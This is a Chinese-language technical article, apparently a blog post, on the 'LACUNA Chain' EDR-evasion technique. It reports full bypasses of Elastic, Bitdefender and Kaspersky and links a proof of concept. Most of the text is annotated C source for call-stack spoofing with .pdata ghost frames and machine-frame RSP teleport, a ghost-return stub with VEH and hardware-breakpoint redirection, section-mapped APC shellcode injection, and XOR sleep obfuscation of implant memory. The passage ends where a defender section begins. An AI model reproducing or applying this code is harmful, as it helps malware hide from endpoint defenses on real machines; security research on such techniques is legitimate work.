现代 EDR 采用的是分层防御:内核回调(ObRegisterCallbacks)会拦截句柄的获取,启发式引擎会标记危险的内存权限,行为关联器会匹配可疑的 syscall 序列,执行来源规则会击杀跑在匿名内存页里的代码。就拿对抗 Bitdefender 来说,我们在达成完整绕过前,就触发了它五个独立的检测层——句柄访问权限、RWX 页分配、匿名内存执行、AllocVM + WriteVM + ProtectVM + QueueAPC 序列关联器,以及载荷在目标进程里的行为。

而那五个检测里,没有一个是跟调用栈有关的。

LACUNA Chain——幽灵帧伪造、BYOUD-MF 瞬移、win32u NOP gap、ETW-Ti APC 窗口——在每次测试中,在面对每个产品时,都保持了“干净”。调用栈层从来不是我们被抓的原因。每一次检测都来自于另一个完全不同的层面:句柄是怎么打开的、内存是怎么分配的、APC 之前是怎样的 syscall 序列、又或者 shellcode 落地后到底干了什么。

HookChain 揭示了 94% 的 EDR 方案不在 NTDLL 之上的子系统层进行 hook。LACUNA Chain 则榨取了一个更深的盲点:.pdata lacuna——那些在已签名 DLL 内部、却没有异常处理元数据的可执行区域。这些幽灵区域对 RtlLookupFunctionEntry 是不可见的,存在于任何 hook 表之外,并且在栈回溯时,与合法的叶子函数在结构上根本无法区分。

多款EDR产品的实测结果汇总表格,显示LACUNA Chain相关技术均成功绕过

这个缺口,是无法通过简单地增加更多 hook 来闭合的。链上的每一层——wow64.dllkernelbase.dllwin32u.dll,以及这些 .pdata gap 区域——都坐落在当前调用栈审查机制在结构上就看不见的地址范围里。要闭合它,就必须在运行时去枚举 .pdata gap,并标记任何落在 gap 里的调用追踪帧。现在,还没有任何一款产品级的 EDR 在做这件事。

真实世界的对抗结果

LACUNA Chain 注入器在受控实验环境下接受了企业级 EDR 解决方案的测试。测试时,两个目标都运行着最新的签名与行为引擎版本。

Elastic EDR —— 完整绕过,shellcode 未被检测即成功执行:

Elastic EDR测试结果显示完整绕过,无告警

Bitdefender —— 完整绕过,shellcode 未被检测即成功执行:

Bitdefender测试结果显示完整绕过,软件界面显示系统安全

Kaspersky Endpoint Security —— 完整绕过,shellcode 未被检测即成功执行:

Kaspersky测试结果显示完整绕过,软件界面显示无活动威胁

概念验证的实现可在 github.com/MazX0p/LACUNA-Chain 获取。

结论:军备竞赛已经下沉

Part I 展示了用户态 hook 的绕过手法,如何击穿了一大部分的 EDR 部署。那个缺口在 2024 年是真实存在的。

Part II 则展示了下一层的战场是什么样子。

BYOUD-Gap 以零 .pdata 修改实现了调用栈伪造。ETW-Ti APC 窗口让你能控制栈快照发生的时机。Win32u 的 1,242 个 NOP gap 提供了范畴性白名单的叶子帧。ntdll 与 kernelbase 里的幽灵函数则提供了语义上极具说服力的掩护。BYOUD-MF 能在单帧内实现任意的 RSP 瞬移。BYOUD-RT 让这一切都无需任何预标定就能工作。参数加密则让参数在静态存储时变得不透明。

把这些全部拼接起来,你就得到了 LACUNA Chain——语法上合法、语义上合理、取证上干净。唯一剩下的可靠检测,就只有行为层面的内核回调关联了。

三个亟待解决的开放问题

这些是下一位研究者应该聚焦的方向:

1. 大规模 gap 地址检测。 标记那些落在 .pdata 未覆盖区间的调用追踪帧,理论上完全可行,但还没有人做出产品级的实现。它需要运行时为所有已加载 DLL 枚举 .pdata gap,并交叉比对每一个调用追踪地址。方向清晰,但工程上不简单。

2. ETW-Ti APC 队列深度监控。 如果 EDR 能够测量出,在投递它们的那个可警醒等待之前,有多少 ETW-Ti APC 被排队了,那么异常的计数值(例如单次等待前 >3)就是一个极强的异常信号。目前还没有 EDR 公开过这个信号。

3. Win32k shadow SSDT 攻击面。 究竟有哪些敏感操作可以通过 win32k syscall 触达?ObRegisterCallbacks 又是否会在那些路径上被触发?这些仍然是公开未测的领域。下一个绕过手法,说不定就藏在那里。

军备竞赛并没有在 HookChain 那里结束。它每闭合一层,就往下沉一层。调用栈不再值得信任,.pdata 节也不再值得信任。当前唯一站得住脚的锚点是行为关联——而下一波攻击,无疑会聚焦在那里。

参考文献

  • [1] Helvio Carvalho Junior — 《HookChain: A New Perspective for Bypassing EDR Solutions》 — arXiv:2404.16856 · DEF CON 32, 2024 年 8 月
  • [2] Mohamed Alzhrani — 《HookChain: A Deep Dive into Advanced EDR Bypass Techniques》 — 0xmaz.me · 2024 年 10 月 · 本系列 Part I
  • [3] WithSecure Labs — 《Spoofing Call Stacks to Confuse EDRs》 — WithSecure · 2022 年 6 月
  • [4] WithSecureLabs — CallStackSpoofer PoC — GitHub
  • [5] klezVirus — SilentMoonwalk — GitHub
  • [6] klezVirus — 《Fantastic Unwind Information and Where to Find Them》(BYOUD) — Black Hat Europe 2025
  • [7] Gabriel Landau — ShadowStackWalk — GitHub
  • [8] 0xjbb — cet-spoofing-detection — GitHub
  • [9] Synacktiv — 《Windows Kernel Shadow Stack Mitigation》 — SSTIC 2025
  • [10] Connor McGarr — 《Kernel-Mode Shadow Stacks》
  • [11] Volexity / Andrew Case — 《EDR Evasion and Detection》 — DEF CON 32
  • [12] WhiteKnightLabs — 《LayeredSyscall: Abusing VEH to Bypass EDRs》
  • [13] Elastic Security Labs — 《Doubling Down: ETW Call Stacks》
  • [14] Gkritsis 等 — 《Evading and Crashing Anti-Malware Solutions via Data Collection Overloading》 — arXiv:2511.04472
  • [15] Praetorian — 《ETW Threat Intelligence and Hardware Breakpoints》

本文所述技术均出于安全研究与检测工程目的而记录。BYOUD-Gap、ETW-Ti APC 窗口利用、Win32u NOP Gap 链、幽灵 gadget 发现、BYOUD-MF、BYOUD-RT、以及 kernelbase 语义幽灵邻近,均为作者原创贡献,源自对受控实验环境中提取的 Windows 系统 DLL 的二进制分析。

第一部分 · 源码拆解:从论文到可执行的原语

上面是论文视角。下面我们把镜头切到代码——两个仓库:作者本人的 C 参考实现 MazX0p/LACUNA-Chainlacuna_chain.c 1162 行 + lacuna_sleep.c 702 行),以及社区 Rust 移植 Karkas66/lacuna-rs。我们把每一条原语映射回源码,看它到底怎么落地。

1.1 数据结构:幽灵栈与机器帧

lacuna_chain.c 用两个核心结构把“假栈”固化下来。先看机器帧——这是 BYOUD-MF 的载荷:

/* BYOUD-MF 原语使用的硬件异常帧 */
#pragma pack(push, 1)
typedef struct {
    ULONG64 Rip;     // 瞬移后的下一条 RIP(= L1 wow64 ghost)
    ULONG64 Cs;      // 0x0033  —— 用户态 64 位代码段
    ULONG64 EFlags;  // 0x00000202 —— IF 置位,标准用户态 flags
    ULONG64 Rsp;     // ←←← 瞬移目标 RSP(= &g_mf_walk[0])
    ULONG64 Ss;      // 0x002B  —— 用户态数据段
} MachFrame;          // 恰好 40 字节,对应 x64 IRET 帧布局
#pragma pack(pop)

这个 40 字节结构恰好是 x64 IRET 帧的内存布局(RIP/CS/RFLAGS/RSP/SS)。这不是巧合——它是 UWOP_PUSH_MACHFRAME 处理器在 RtlVirtualUnwind 里直接读取的格式。#pragma pack(push,1) 保证没有填充字节。

再看整个幽灵栈布局(注意栈向下生长,低地址在上):

/* 假栈布局(低 → 高,栈向下生长):
 *   L5_thread_root   <- 最后被回溯
 *   L4_win32u
 *   L3_ntdll
 *   L2_kbase
 *   L1_wow64         <- g_chain_rsp 指向这里
 *   MachFrame (40 B) <- 被 UWOP_PUSH_MACHFRAME 处理器消费
 *   mf_trigger       <- KiUserExceptionDispatcher+4
 */
typedef struct {
    ULONG64   L5_thread_root;  // ntdll!RtlUserThreadStart+0x21
    ULONG64   L4_win32u;       // win32u NOP gap
    ULONG64   L3_ntdll;        // ntdll ghost(或 ghost gadget)
    ULONG64   L2_kbase;        // kernelbase ghost(或 ghost gadget)
    ULONG64   L1_wow64;        // wow64 ghost
    MachFrame mf;              // 40 字节机器帧
    ULONG64   mf_trigger;      // L0 = KiUserExceptionDispatcher+4
} LacunaStack;

mf_trigger(L0)是触发器——它的地址落在带 UWOP_PUSH_MACHFRAMEKiUserExceptionDispatcher 函数体内,所以 unwinder 一碰到它就走机器帧分支,读 mf,把 RSP“瞬移”到 &g_mf_walk[0],RIP 设成 L1。从 L1 开始就是普通的叶子帧回溯了。

1.2 find_mf_target():在 .pdata 里找机器帧触发器

static ULONG64 find_mf_target(HMODULE ntdll)
{
    ULONG64 pva; ULONG psz;
    if (!pe_section(ntdll, ".pdata", &pva, &psz)) goto fb;
    {
        RF *rf = (RF *)pva; int count = psz / sizeof(RF);
        ULONG64 img = (ULONG64)ntdll;
        for (int i = 0; i < count; i++) {
            if (!rf[i].Unwind) continue;        // 跳过无 UNWIND_INFO 的条目
            UH *uh = (UH *)(img + rf[i].Unwind);
            UC *codes = (UC *)((uint8_t *)uh + 4);
            for (int j = 0; j < uh->Count; j++)
                // 关键判定:操作码 == UWOP_PUSH_MACHFRAME(10),且 Off==0
                if ((codes[j].Op & 0xF) == UWOP_PUSH_MACHFRAME && codes[j].Off == 0)
                    return img + rf[i].Begin + 4;  // 函数体偏移 +4,避开首字节 int3
        }
    }
fb:
    return pe_export(ntdll, "KiUserExceptionDispatcher") + 4;  // 兜底
}

逐行看判定 (codes[j].Op & 0xF) == UWOP_PUSH_MACHFRAME:UNWIND_CODE 的低 4 位是操作码,高 4 位是 OpInfoUWOP_PUSH_MACHFRAME == 10Off == 0 表示这条 unwind code 作用于函数 prolog 的第 0 个 slot——即整个函数体任何 PC 都触发(因为 prolog 已完成)。返回 Begin + 4 是为了跳过函数开头的 int3/F6 04 24 00KiUserExceptionDispatcher 的典型开头是一个测试字节)。

实测在 ntdll .pdata(4,736 条)里只有 4 个函数满足——KiUserApcDispatcher / KiUserCallbackDispatcher / KiUserExceptionDispatcher / 一个未命名 dispatcher,全部 prolog_offset=0x00。这就是论文里那张表。

1.3 build_chain():把六层填进结构

这是把论文的“六层架构”变成内存数据的函数。核心填充逻辑:

/* MF walk 缓冲: L2->L3->L4->L5 按地址升序排列,
   这样叶子 RSP+=8 回溯会读到正确的下一个返回地址 */
g_mf_walk = (ULONG64 *)((uint8_t *)g_ls + sizeof(LacunaStack));
g_mf_walk[0] = L2;   // kernelbase ghost
g_mf_walk[1] = L3;   // ntdll ghost
g_mf_walk[2] = L4;   // win32u nop gap
g_mf_walk[3] = L5;   // RtlUserThreadStart+0x21

g_ls->L5_thread_root = L5;
g_ls->L4_win32u      = L4;
g_ls->L3_ntdll       = L3;
g_ls->L2_kbase       = L2;
g_ls->L1_wow64       = L1;
g_ls->mf.Rip    = L1;                       /* MF 瞬移后的下一帧 */
g_ls->mf.Cs     = 0x0033;
g_ls->mf.EFlags = 0x00000202;
g_ls->mf.Rsp    = (ULONG64)&g_mf_walk[0];   /* RSP 落在 L2->L3->L4->L5 链上 */
g_ls->mf.Ss     = 0x002B;
g_ls->mf_trigger = L0;                       /* KiUserExceptionDispatcher+4 */
g_chain_rsp = (ULONG64)&g_ls->mf;

要点:

  • mf.Rsp = &g_mf_walk[0] 是 BYOUD-MF 的“瞬移锚点”——unwinder 把 RSP 直接设成这个值,于是后续回溯从 g_mf_walk 数组读帧。
  • g_mf_walk 里只放 L2..L5 四个值,因为 L1 已经在 mf.Rip 里了(瞬移后的第一帧就是 L1)。所以总帧数 = mf_trigger(L0) + mf.Rip(L1) + g_mf_walk0..3 = 六层。
  • 每层 ghost 地址由 best_ghost() 按“离导出函数最近”挑出,回退到硬编码偏移(如 ntdll+0x50F80kbase+0x64180)。

1.4 ghost gadget:把 JMP[RBX] 接进调用链

alloc_stub() 在没有 JMP [RBX] 幽灵 gadget 时走普通间接 syscall;有时则把 gadget 地址既当 L2/L3 桥接帧、又当执行重定向点。论文里 ntdll+0xFC47B 的字节序列在代码里体现为扫描结果:

+0x009  48 83 41 28 FE          dec qword ptr [rcx+28h]
+0x00E  41 B8 FF 23 00 00       mov r8d, 23FFh   <- 0xFF 0x23 = JMP[RBX] 的字节
+0x014  FF 23                   JMP [RBX]

build_chain() 里能看到它被双重使用

ULONG64 L2 = (g_ghost_mod == 2) ? g_ghost_gadget   // 当 gadget 在 kernelbase: L2=gadget
           : g2 ? (g2->va_start + g2->size / 2) : ((ULONG64)kbase + 0x64180);
ULONG64 L3 = (g_ghost_mod == 1) ? g_ghost_gadget   // 当 gadget 在 ntdll:     L3=gadget
           : g3 ? (g3->va_start + g3->size / 2) : ((ULONG64)ntdll + 0x50F80);

它同时是桥接帧(unwinder 当叶子跳过)和执行跳板(CALL 真的会执行 JMP [RBX])——这就是“双用途”在代码层的落地。

1.5 参数加密:DR0 硬件断点 + VEH

param_encrypt_veh()(lacuna_chain.c:734)在 syscall;ret 边界上设 DR0 执行断点。命中时:解密寄存器里的参数(RCX/RDX/R8/R9 + R10)、把返回地址伪造成 ret gadget、单步后用 DR1 恢复。密钥常量 PKEY = 0xCAFE1337ULL(lacuna_chain.c:937)。

关键参数加密用的是滚动异或(与 sleep 版同构):

for (size_t i = 0; i < n; i++)
    p[i] ^= (BYTE)(PKEY + i);   // 每字节密钥滚动

0x40PAGE_EXECUTE_READWRITE)这类魔法值在内存里永不以明文出现——内存扫描看到的是密文。

1.6 注入器:section-based APC

do_inject_sapc()(lacuna_chain.c:857)用一串 NT syscall 取代了经典的 VirtAlloc/WriteProcessMemory/VirtualProtect 三件套:

NtOpenProcess
  -> NtCreateSection       (在自身创建 section)
  -> NtMapViewOfSection    (自身, RW)
  -> memcpy                (直接写, RW 映射无需 WriteProcessMemory)
  -> NtMapViewOfSection    (目标, RX)
  -> NtUnmapViewOfSection  (自身)
  -> NtClose
  -> NtOpenThread
  -> NtQueueApcThread
  -> NtAlertThread
  -> NtDelayExecution      (alertable —— 触发 APC + 整条 LACUNA 链)

为什么不直接 NtMapViewOfSection 一次?因为目标进程需要 RX、自身需要 RW,两次映射同一 section 用不同权限——这绕过了“单次 RWX 映射”启发式。每一次 Nt* 调用都经由前述的幽灵 stub + 全链栈伪造。

1.7 Rust 移植(lacuna-rs)的关键差异

Karkas66/lacuna-rs 把同样的原语搬进 Rust crate,差异点值得注意:

  • 全局态用 AtomicU64:C 版的 g_chain_rsp / g_save_rsp / g_mf_walk 在 Rust 里是 static G_CHAIN_RSP: AtomicU64——因为 VEH 处理器是异步上下文,必须用原子操作。
  • TEB 读取用内联汇编mov {0}, gs:[0x08] 直接读 TEB.StackBasemov {0}, [rbp]stomp_plant() 里走帧链——这是 BYOUD-RT 的运行时距离计算。
  • 帧指针强制开启stomp_plant() 依赖 rbp 走帧链,所以 .cargo/config.tomlrustflags = ["-C", "force-frame-pointers=yes"]build.rs 还强制 codegen-units=1:cargo 的 rustflag 不会传播给下游 crate,所以 README 专门提醒消费者要自己在 config.toml 里加。
  • 字符串混淆:用 litcrypt2lc!() 宏在编译期加密字符串字面量,密钥从 LITCRYPT_ENCRYPT_KEY 环境变量读(不设则编译期随机生成)。
  • Feature 门控syscalls / inject(默认开)/ veh / stack-spoof / no-std——关闭所有 feature 时只剩 PE 扫描层,可纯侦察用。
  • 线程打分注入inject.rs 有个 MAX_APC_THREADS = 5 的线程打分算法,按周期时间 / CPU 时间 / 挂起计数 / 优先级打分,挑最合适的线程做 APC(改编自 FrankensteinAPCInjection)。

scan_all()(lib.rs:80)一次性扫四个模块的 ghost 区与 gadget,返回 ScanSummary——这是 C 版 do_scan() 的对应物。

第二部分 · 深入一:BYOUD-MF 机器帧瞬移的 unwind 数学(逐行)

如果你对逆向工程中的底层细节感兴趣,这部分是整套技术里数学上最漂亮的一环。我们一行行拆 RtlVirtualUnwind 处理 UWOP_PUSH_MACHFRAME 的逻辑,并对照 lacuna_chain.c 的填充代码,看“单帧任意 RSP 赋值”是怎么从 Windows 自己的回溯代码里“免费”长出来的。

2.1 先建立坐标系:unwinder 怎么算下一帧

RtlVirtualUnwind 的核心任务是:给定一个 ContextRecord(含当前 Rip / Rsp),算出调用者那一帧的 Rip / Rsp。它先调 RtlLookupFunctionEntry(ControlPc)

  • 命中(有 RUNTIME_FUNCTION):用 prolog/epilog + UNWIND_CODE 逆序回放,把 Rsp 推进一个 delta,得到 EstablisherFrame,再从 [EstablisherFrame] 读返回地址。
  • 未命中(返回 NULL):当叶子函数处理,EstablisherFrame = RspRip = [Rsp]Rsp += 8。这就是 BYOUD-Gap 的根基。

对每种 unwind code,delta 的来源不同。绝大多数 code(UWOP_PUSH_NONVOLUWOP_ALLOC_SMALL/LARGE)是累加的——Rsp 单调推进。唯独 UWOP_PUSH_MACHFRAME(操作码 10)不是累加,而是直接赋值

2.2 关键处理器:UWOP_PUSH_MACHFRAME 的伪代码

把 Ghidra 反编译里那段逻辑结构化出来(Windows 11 22H2,ntdll):

// 在 RtlVirtualUnwind 的 unwind-code 回放循环里:
case UWOP_PUSH_MACHFRAME:   // 操作码 10
    {
        ULONG_PTR FrameAddr = EstablisherFrame;   // 当前 EstablisherFrame 指向本帧返回地址槽

        // OpInfo 取 unwind code 的高 4 位: 0 = 无错误码, 1 = 有错误码
        if (OpInfo == 1) {
            FrameAddr -= 8;   // 跳过 CPU 多压的那个错误码
        }

        // ⚡ 这里是瞬移的根: 不是 Rsp += delta, 而是从栈上的机器帧里 "读回" 整个上下文
        PMACHINE_FRAME mf = (PMACHINE_FRAME)(FrameAddr - 0x28);  // 0x28 = 40 字节

        NewContext.Rip     = mf->Rip;      // ① RIP 来自栈
        NewContext.SegCs   = mf->Cs;
        NewContext.EFlags  = mf->EFlags;
        NewContext.Rsp     = mf->Rsp;      // ② ⚡⚡⚡ RSP 来自栈 —— 这就是 "瞬移"
        NewContext.SegSs   = mf->Ss;

        EstablisherFrame   = FrameAddr;    // 指向机器帧顶端
        goto done;                          // 跳出回放循环
    }

两处魔法:

(a) NewContext.Rsp = mf->Rsp; —— 这是唯一一处,unwinder 把 RSP 设成栈上某个字段里的任意值,而不是 Rsp + 常数。你往 mf->Rsp 里写什么,回溯就跳到哪个地址继续读帧。这就是“瞬移”。

(b) OpInfo 分支 —— 论文图 19 标注的“op_info=0,无错误码”。异常类中断(int3 / KiUserExceptionDispatcher)压帧不带错误码,所以走 OpInfo==0 分支,FrameAddr 不动,机器帧就紧贴在 EstablisherFrame 上方 40 字节。

2.3 数学:单帧任意 RSP 赋值

把三种推进方式并排,差别一目了然:

技术 EstablisherFrame(下一帧 RSP)的计算
叶子帧(gap) Rsp_new = Rsp_old + 8
普通非叶子 Rsp_new = Rsp_old + Σ(UNWIND_CODE deltas)
UWOP_PUSH_MACHFRAME Rsp_new = *(ULONG64*)(FrameAddr - 0x28 + offsetof(Cs..Rsp)) —— 从栈读

前两种是仿射的(Rsp_new = Rsp_old + cc 是编译期常量)。攻击者要让仿射结果跳到一个想去的地址,得预先在栈上连续堆 N 个返回地址(gap 链),且 N·8 必须等于真实栈与目标栈的距离——这就是 BYOUD-Gap 的约束。

BYOUD-MF 把仿射换成任意赋值:一次回放就完成“从当前 RSP 跳到任意目标 RSP”,无需堆 N 帧、无需凑距离。代价只有一个——往栈上多放一个 40 字节的机器帧结构。

2.4 对照 lacuna_chain.c 的填充

回到 build_chain()(lacuna_chain.c:494-500):

g_ls->mf.Rip    = L1;                       // ① 瞬移后下一条 RIP
g_ls->mf.Cs     = 0x0033;                    //    用户态 CS
g_ls->mf.EFlags = 0x00000202;                //    IF=1, 标准用户态
g_ls->mf.Rsp    = (ULONG64)&g_mf_walk[0];   // ② ⚡ 瞬移目标 RSP
g_ls->mf.Ss     = 0x002B;                    //    用户态 SS
g_ls->mf_trigger = L0;                       // ③ 触发器地址(带 PUSH_MACHFRAME)

走一遍回溯,看 unwind 状态怎么演化。假设 EDR 在 syscall 边界抓栈,栈顶(最低地址)是真实返回地址 R_ret,之上是 g_ls 结构体。unwinder 从 R_ret 开始:

帧 0:  Rip = R_ret                         <- 真实 shellcode 返回地址
       但回溯到 L0=KiUserExceptionDispatcher+4 时...

      [此时 ControlPc = L0, RtlLookupFunctionEntry 命中]
      -> RUNTIME_FUNCTION 命中,UNWIND_CODE 含 PUSH_MACHFRAME, OpInfo=0
      -> FrameAddr = EstablisherFrame(= 指向 mf_trigger 槽)
      -> mf = (FrameAddr - 0x28) = &g_ls->mf      <- 读到我们埋的机器帧

帧 1:  Rip = mf.Rip    = L1   (wow64 ghost)   <- 从机器帧读
       Rsp = mf.Rsp    = &g_mf_walk[0]          <- ⚡ RSP 瞬移到 g_mf_walk

帧 2:  Rip = g_mf_walk[0] = L2   (kbase ghost)  <- 叶子(gap), Rsp+=8
帧 3:  Rip = g_mf_walk[1] = L3   (ntdll ghost)
帧 4:  Rip = g_mf_walk[2] = L4   (win32u nop)
帧 5:  Rip = g_mf_walk[3] = L5   (RtlUserThreadStart+0x21)  <- 线程根, 停止

注意 g_mf_walk 的升序排列(lacuna_chain.c:484-487)是必须的:

g_mf_walk[0] = L2;   // 升序: L2 < L3 < L4 < L5(地址意义上递增)
g_mf_walk[1] = L3;
g_mf_walk[2] = L4;
g_mf_walk[3] = L5;

因为瞬移后 RSP 落在 g_mf_walk[0],叶子回溯每次 Rsp += 8 依次读 [0]/[1]/[2]/[3]。如果乱序,回溯读到的就不是一个从线程根(高地址)到 syscall(低地址)单调下降的真实栈形态——EDR 的“栈单调性”启发式会立刻抓到。升序排列保证了伪造的栈在地址轴上和真栈无法区分。

2.5 为什么 BYOUD-MF 不违反 CET

CET 的影子栈在 CALL/RET 时校验 RSP 上的返回地址与影子栈是否一致。但 RtlVirtualUnwind不执行 RET,也不读影子栈——它只是纯软件地读 UNWIND_CODE 算 RSP 推进。CET 完全不参与 unwind 回溯。

所以哪怕开了 CET:

  • 真实执行路径上,所有 CALL/RET 都正常走影子栈,不触发 #CP
  • EDR 抓栈时用的是 RtlVirtualUnwind(软件回溯),它读的是我们伪造的 .pdata 语境下的栈,CET 毫不知情。

这就是“CET 校验返回地址,CET 不校验 .pdata”在 unwind 数学上的体现。 BYOUD(改 .pdata)和 BYOUD-MF(在 .pdata gap 里放机器帧)都活在 CET 的盲区里。

2.6 小结:BYOUD-MF 的三个第一

  1. 单帧任意 RSP 赋值 —— 唯一一种不用仿射推进、不用 gadget 的手法。
  2. 零 .pdata 写 —— 机器帧放在已存在的 gap 内,不改任何 RUNTIME_FUNCTION
  3. CET 透明 —— 纯软件回溯,影子栈完全不参与。

代价:栈上多 40 字节(一个 MachFrame)。相比 BYOUD-Gap 要堆 N 帧凑距离,这 40 字节换来的是“一步到位”。

第三部分 · 深入二:lacuna_sleep.c 全链睡眠混淆对比

睡眠混淆(sleep obfuscation)是内存扫描的克星——在 beacon/implant 睡眠期间把 shellcode 加密、权限改成不可执行,让扫内存的 EDR 摸到的是一堆密文 + RW 页。lacuna_sleep.c(702 行)做的事,是在 Ekko/Foliage 这类经典睡眠混淆之上,把“LACUNA 栈伪造”焊进每一步。

3.1 一句话差异:一帧 vs 全链

lacuna_sleep.c 文件头第一句就把差异点死:

/*
 * lacuna_sleep.c -- LACUNA Sleep
 *
 * Full-chain ghost-frame sleep obfuscation.
 * Every call in the encrypt->sleep->decrypt cycle gets its return
 * address planted in a .pdata ghost frame.  HW breakpoint + VEH
 * catches each return and redirects control to the next step.
 *
 * Unlike Ekko/Foliage which spoof one frame during sleep, ...
 */
  • Ekko / Foliage:只在“睡眠”这一帧伪造一条返回链。睡眠期间 ETW-Ti / Sysmon 若恰好抓栈,看到的是伪造的那一帧。但睡眠前后的 NtProtectVirtualMemory(RW→RX)调用栈是真实的——而恰恰是这两次 NtProtectVirtualMemory 最容易被 EDR 行为引擎盯上(它是“内存权限翻 RX”这个高危动作的发起者)。
  • LACUNA Sleep:encrypt→sleep→decrypt 循环里的每一次调用都把返回地址种进 ghost 帧。也就是 RW 翻页、延时、RX 翻页,三个高危 syscall 各自的调用栈全都被伪造。

3.2 五步循环:sleep_cycle()

static void sleep_cycle(SleepCtx *ctx, int cycle_num) {
    HANDLE self = (HANDLE)(LONG_PTR)-1;
    ...
    /* 步骤 1: 翻成 RW —— 返回地址种进 kernelbase ghost */
    arm_ghost_bp(ctx->ghost_kb);
    st = ((PNtProtectVirtualMemory)ctx->stub_vp)(
        self, &base, &size, PAGE_READWRITE, &old);
    disarm_ghost_bp();

    /* 步骤 2: XOR 加密(内联, 微秒级) */
    xor_crypt(ctx->sc_base, ctx->sc_size, ctx->xor_key);

    /* 步骤 3: 睡眠 —— 整条 LACUNA 链激活 */
    ...
    arm_ghost_bp(ctx->ghost_ntdll);
    ((PNtDelayExecution)ctx->stub_delay)(alertable, &delay);
    disarm_ghost_bp();

    /* 步骤 4: XOR 解密 */
    xor_crypt(ctx->sc_base, ctx->sc_size, ctx->xor_key);

    /* 步骤 5: 翻回 RX —— 返回地址种进 kernelbase ghost */
    base = ctx->sc_base; size = ctx->sc_size;
    arm_ghost_bp(ctx->ghost_kb);
    st = ((PNtProtectVirtualMemory)ctx->stub_vp)(
        self, &base, &size, PAGE_EXECUTE_READ, &old);
    disarm_ghost_bp();
}

三个高危点对应的 ghost 锚:

步骤 syscall ghost 锚点 为什么是它
1 NtProtectVM(RW) ghost_kb(kernelbase ghost,邻接 VirtualProtect) 翻页的语义出处
3 NtDelayExecution ghost_ntdll(ntdll ghost,邻接 RtlCreateUserThread) 睡眠调用,且 alertable 触发 APC → 整条链
5 NtProtectVM(RX) ghost_kb 同步骤 1

注意步骤 3 里 alertable = TRUE——可警醒等待。这正好把“ETW-Ti APC 窗口攻击”和“睡眠混淆”合并:睡眠期间排队的 ETW-Ti APC,在可警醒等待解除时一齐投递,投递时看到的是整条六层 LACUNA 链,而不是真栈。

3.3 36 字节幽灵 stub:make_ghost_stub()

返回地址怎么“种”进 ghost 帧?靠一个 JIT 出来的 36 字节小 stub:

static void *make_ghost_stub(void *api, ULONG64 ghost_addr) {
    BYTE *p = g_stub_page + g_stub_offset;
    BYTE *start = p;

    *p++ = 0x48; *p++ = 0xB8;                    // mov rax, ghost_addr
    memcpy(p, &ghost_addr, 8); p += 8;

    *p++ = 0x48; *p++ = 0x87; *p++ = 0x04; *p++ = 0x24;   // xchg [rsp], rax

    *p++ = 0x48; *p++ = 0xA3;                     // movabs [&g_saved_ret], rax
    ULONG64 sr_addr = (ULONG64)&g_saved_ret;
    memcpy(p, &sr_addr, 8); p += 8;

    *p++ = 0x48; *p++ = 0xB8;                     // mov rax, api
    ULONG64 api_addr = (ULONG64)api;
    memcpy(p, &api_addr, 8); p += 8;

    *p++ = 0xFF; *p++ = 0xE0;                     // jmp rax
    ...
}

这段汇编做的事,用一行话讲:xchg [rsp], rax 把栈顶返回地址换成 ghost 地址,把原返回地址存到全局 g_saved_ret,然后跳去调用真 API。

为什么用 xchg [rsp], rax 而不是 mov [rsp], rax?因为 xchg 是原子指令(带隐式 LOCK 语义),且只交换一次——执行后栈顶是 ghost 地址,原返回地址安全躺在 g_saved_ret 里。当 API 返回时,它返回到 ghost 地址(栈顶那个),于是调用栈看起来是从 ghost 帧发起的。

3.4 ghost_call_veh():HW 断点 + VEH 把控制权接回来

API 返回到 ghost 地址后,谁来把控制接回真实代码流?硬件断点 + VEH:

static LONG CALLBACK ghost_call_veh(PEXCEPTION_POINTERS ep) {
    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
        ep->ContextRecord->Rip == g_ghost_bp) {
        ep->ContextRecord->Rip = g_saved_ret;        // ① 跳回真实返回地址
        ep->ContextRecord->Dr0 = 0;                   // ② 清 DR0
        ep->ContextRecord->Dr7 &= ~1ULL;              // ③ 禁用 DR0
        ep->ContextRecord->EFlags |= 0x10000;         // ④ RF 置位, 单步不再触发
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

流程:

  1. arm_ghost_bp(ghost_addr) 把 DR0 设成执行断点(ctx.Dr7 = 1)。
  2. API 返回到 ghost 地址 → DR0 命中 → #DB 异常 → ghost_call_veh 触发。
  3. VEH 把 Rip 改回 g_saved_ret(真实返回地址),清断点,置 RF(Resume Flag,保证 g_saved_ret 处的第一条指令不再触发断点)。
  4. EXCEPTION_CONTINUE_EXECUTION → 从真实返回地址继续。

关键: EDR 抓栈是在 #DB 触发之前——也就是 API 返回、RIP 刚到 ghost 地址的那一刻,调用栈里 ghost 帧已经就位。VEH 的改写发生在抓栈之后,对抓到的栈没影响。

3.5 xor_crypt():滚动密钥异或

static void xor_crypt(BYTE *p, size_t n, BYTE key) {
    for (size_t i = 0; i < n; i++)
        p[i] ^= (BYTE)(key + i);   // 每字节密钥滚动
}

朴素 XOR 容易被熵分析/已知明文击穿(一串 0x00 异或后暴露密钥流)。滚动 key + i 让密钥流非周期,提升了“密文页熵值检测”的识别难度——虽然真要对抗熵分析还得换流密码,但睡眠时间窗短、密钥每周期换,工程上够用。

3.6 与 Ekko/Foliage 的并排对比

维度 Ekko / Foliage LACUNA Sleep
伪造帧数 仅睡眠帧 1 条 RW / Delay / RX 三步全伪造
翻页调用栈 真实 ghost 帧(kernelbase 邻接 VirtualProtect)
睡眠触发机制 NtDelayExecution / WaitForSingleObjectEx NtDelayExecution(alertable) + APC 窗口
睡眠期 ETW-Ti 抓栈 看到单条伪造帧 看到整条六层链
加密算法 RC4 / AES(Ekko v4) 滚动 XOR(轻量, 微秒级)
实现载体 NtSetTimer/APC + ROP HW 断点(DR0) + VEH + 36 字节 stub
CET 兼容 部分变体踩影子栈 纯 leaf 链 + xchg,CET 透明
对抗“翻页→执行”时序检测 高(三步调用栈都合法)

实战含义:如果你已经用 LACUNA 链做栈伪造,那么睡眠混淆也必须全链——否则 EDR 只要等到 NtProtectVirtualMemory(RX) 那一刻抓栈(这是个高危 syscall,几乎必抓),就拿到真实调用链,前功尽弃。lacuna_sleep.c 的存在就是为了堵这个缺口。

第四部分 · 深入三:蓝队视角——检测幽灵帧的伪代码

攻防同文。前面把攻击讲透了,这一节给防御者三段可直接拿去原型的检测伪代码。核心观察:LACUNA 链的所有帧都落在 .pdata gap 内,而合法程序几乎从不在调用链里出现 gap 地址。 这是个干净的统计异常——不需要懂攻击细节就能抓。

